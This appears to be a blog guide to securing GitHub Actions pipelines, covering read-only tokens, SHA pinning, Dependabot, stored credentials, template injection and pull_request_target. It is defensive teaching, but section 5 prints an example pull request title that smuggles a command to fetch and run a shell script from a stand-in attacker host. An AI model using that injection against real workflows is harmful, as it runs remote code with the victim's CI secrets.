A CI pipeline runs code from many places, often with a token that can write to the repository and with secrets that reach production. Attacks on CI rarely need a vulnerability in your own code. They use the trust the pipeline gives to everything it runs.
In March 2025, the tags of a widely used action, tj-actions/changed-files, were moved to a malicious commit. Every workflow that referenced it by tag ran the new code on its next build, and the code printed CI secrets into the build logs. The changes below would have limited that, and they cost little.
1. Start With a Read-Only Token
Every workflow run gets a GITHUB_TOKEN. Depending on when the repository or organization was created, its default permissions may include write access. Set the default at the top of the workflow:
permissions:
contents: read
Grant more only to the job that needs it, for example pull-requests: write for a job that comments on pull requests. Also set the repository default to read-only under Settings → Actions → General → Workflow permissions.
2. Pin Actions to a Commit
A tag such as v4 is a pointer that the action’s owner, or anyone who takes over the owner’s account, can move. A full commit SHA cannot be moved:
- uses: actions/checkout@<full 40-character commit SHA> # v4.2.2
Copy the SHA from the release you have reviewed. The comment records the version for people reading the file.
3. Let Dependabot Update the Pins
Pinning without updating leaves you on old versions. Dependabot understands SHA pins and updates both the SHA and the version comment:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
Review these pull requests like any other dependency change: read the release notes and the diff of the action.
4. Do Not Leave the Token in the Checkout
actions/checkout stores the token in .git/config by default, so later steps can push. Every later step, including third-party actions and build scripts, can then read it. Turn that off unless a step really pushes:
- uses: actions/checkout@<sha> # v4.2.2
with:
persist-credentials: false
5. Never Put Event Text Directly in a Script
Expressions inside ${{ }} are pasted into the script before the shell runs it. A pull request title such as "; curl evil.example | sh; echo " becomes part of your command:
# Vulnerable
- run: echo "Title: ${{ github.event.pull_request.title }}"
Pass it through an environment variable instead. The shell then treats it as data:
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $TITLE"
The same applies to issue bodies, comments, branch names and commit messages: anything a contributor can write.
6. Keep Untrusted Code Away From Secrets
The pull_request trigger runs workflows from forks without secrets and with a read-only token. pull_request_target runs with secrets and a write token, because it is meant to run trusted code from the base branch. Checking out the pull request’s own code in a pull_request_target workflow and building it gives a stranger’s code your secrets. If you need that trigger, never build or run the pull request’s code in it.
For deployments, put secrets in an environment with required reviewers. A workflow cannot read them until a person approves the run.
Check Your Workflows
Two open-source tools find most of these problems automatically: actionlint checks syntax and common mistakes, and zizmor looks for security issues such as unpinned actions, excessive permissions and template injection. Run one of them in CI, so a new workflow file is checked before it is merged.
The pipeline that builds this website follows all six: a read-only token, actions pinned to commits and kept current by Dependabot, no stored credentials, no event text in scripts, and no secrets at all.